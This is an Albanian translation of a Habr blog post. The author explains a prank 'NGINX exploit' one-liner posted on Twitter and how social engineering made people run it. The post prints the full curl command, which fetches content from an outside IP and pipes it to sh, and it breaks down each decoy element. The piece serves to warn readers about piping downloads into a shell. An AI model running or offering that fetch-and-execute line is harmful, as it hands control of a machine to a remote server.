Shënim. përkth.:
TL;DR: Në asnjë rrethanë mos përdorni tubacion skedarësh në sh ose bash. Kjo është një mënyrë e shkëlqyer për të humbur kontrollin e kompjuterit tuaj.
Unë dua të ndaj me ju një histori të shkurtër rreth një shfrytëzimi komik PoC që u krijua më 31 maj. Ai u shfaq menjëherë në përgjigje të lajmeve nga
Pasi mbarova punën në një teknikë të re të mjegullimit në curl, citova tweet-in origjinal dhe "zbulova një PoC funksionale" të përbërë nga një linjë e vetme kodi që supozohet se shfrytëzon cenueshmërinë e zbuluar. Sigurisht, kjo ishte absurditet i plotë. Unë supozova se do të ekspozohesha menjëherë dhe se në rastin më të mirë do të merrja disa retweet (oh mirë).
Megjithatë, nuk mund ta imagjinoja se çfarë ndodhi më pas. Popullariteti i tweet-it tim u rrit në qiell. Çuditërisht, për momentin (15:00 me orën e Moskës, 1 qershor) pak njerëz e kanë kuptuar se kjo është një false. Shumë njerëz e ri-tweetojnë pa e kontrolluar fare (le më të admirojnë grafikat e bukura ASCII që nxjerr).
Vetëm shikoni sa bukur është!
Ndërsa të gjitha këto sythe dhe ngjyra janë të shkëlqyera, është e qartë se njerëzit duhej të ekzekutonin kodin në kompjuterin e tyre për t'i parë ato. Për fat të mirë, shfletuesit funksionojnë në të njëjtën mënyrë, dhe kombinuar me faktin se nuk doja të futesha në telashe ligjore, kodi i varrosur në faqen time ishte thjesht duke bërë thirrje jehone pa u përpjekur të instaloja ose ekzekutoja ndonjë kod shtesë.
Digresion i vogël:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Inxhinieria socio-elektronike (SEE) është më shumë se thjesht phishing
Siguria dhe familjariteti ishin një pjesë kryesore e këtij eksperimenti. Mendoj se janë ato që e çuan në suksesin e tij. Linja e komandës nënkuptonte qartë sigurinë duke iu referuar "127.0.0.1" (localhost i mirënjohur). Localhost konsiderohet i sigurt dhe të dhënat në të nuk largohen kurrë nga kompjuteri juaj.
Familjariteti ishte komponenti i dytë kyç në SEE i eksperimentit. Meqenëse audienca e synuar përbëhej kryesisht nga njerëz të njohur me bazat e sigurisë kompjuterike, ishte e rëndësishme të krijohej kodi në mënyrë që pjesët e tij të dukeshin të njohura dhe të njohura (dhe për rrjedhojë të sigurta). Huazimi i elementeve të koncepteve të vjetra të shfrytëzimit dhe kombinimi i tyre në një mënyrë të pazakontë ka rezultuar të jetë shumë i suksesshëm.
Më poshtë është një analizë e detajuar e linjës me një linjë. Çdo gjë në këtë listë vesh natyra kozmetike, dhe praktikisht asgjë nuk kërkohet për funksionimin e tij aktual.
Cilat komponentë janë vërtet të nevojshëm? Kjo -gsS
, -O 0x0238f06a
, |sh
dhe vetë serveri i uebit. Serveri i uebit nuk përmbante ndonjë udhëzim me qëllim të keq, por thjesht shërbeu grafika ASCII duke përdorur komanda echo
në skenarin e përfshirë në index.html
. Kur përdoruesi ka hyrë në një linjë me |sh
në mes, index.html
ngarkuar dhe ekzekutuar. Për fat të mirë, kujdestarët e serverit në internet nuk kishin qëllime të këqija.
-
../../../%00
— përfaqëson tejkalimin e drejtorisë; -
ngx_stream_module.so
- rruga drejt një moduli të rastësishëm NGINX; -
/bin/sh%00<'protocol:TCP'
- gjoja po nisim/bin/sh
në makinën e synuar dhe ridrejtoni daljen në kanalin TCP; -
-O 0x0238f06a#PLToffset
- përbërës sekret, i plotësuar#PLToffset
, për t'u dukur si një kompensim i kujtesës i përfshirë disi në PLT; -
|sh;
- një fragment tjetër i rëndësishëm. Na duhej të ridrejtonim daljen në sh/bash në mënyrë që të ekzekutonim kodin që vjen nga serveri i uebit sulmues i vendosur në0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- një bedel në të cilin i referohet netcat/dev/tcp/localhost
në mënyrë që gjithçka të duket përsëri e sigurt. Në fakt nuk bën asgjë dhe futet në radhën për bukurinë.
Kjo përfundon dekodimin e skriptit me një rresht dhe diskutimin e aspekteve të "inxhinierisë socio-elektronike" (phishing i ndërlikuar).
Konfigurimi i serverit të uebit dhe kundërmasat
Meqenëse shumica dërrmuese e abonentëve të mi janë infosec/hakerë, vendosa ta bëj serverin e internetit pak më rezistent ndaj shprehjeve të "interesit" nga ana e tyre, vetëm në mënyrë që djemtë të kishin diçka për të bërë (dhe do të ishte argëtuese të ngritur). Nuk do t'i rendis të gjitha kurthet këtu pasi eksperimenti është ende në vazhdim, por këtu janë disa gjëra që bën serveri:
- Monitoron në mënyrë aktive përpjekjet e shpërndarjes në rrjete të caktuara sociale dhe zëvendëson fotografi të ndryshme paraprake për të inkurajuar përdoruesin të klikojë në lidhje.
- Ridrejton Chrome/Mozilla/Safari/etj te videoja promovuese e Thugcrowd në vend që të shfaqë skriptin e guaskës.
- Shikon për shenja të dukshme të ndërhyrjes/hakimit të hapur dhe më pas fillon të ridrejtojë kërkesat te serverët e NSA (ha!).
- Instalon një Trojan, si dhe një rootkit BIOS, në të gjithë kompjuterët, përdoruesit e të cilëve vizitojnë hostin nga një shfletues i rregullt (thjesht shaka!).
Një pjesë e vogël e antimereve
Në këtë rast, qëllimi im i vetëm ishte të zotëroja disa nga veçoritë e Apache - në veçanti, rregullat e lezetshme për ridrejtimin e kërkesave - dhe mendova: pse jo?
NGINX Exploit (Real!)
Regjistrohu për
Burimi: www.habr.com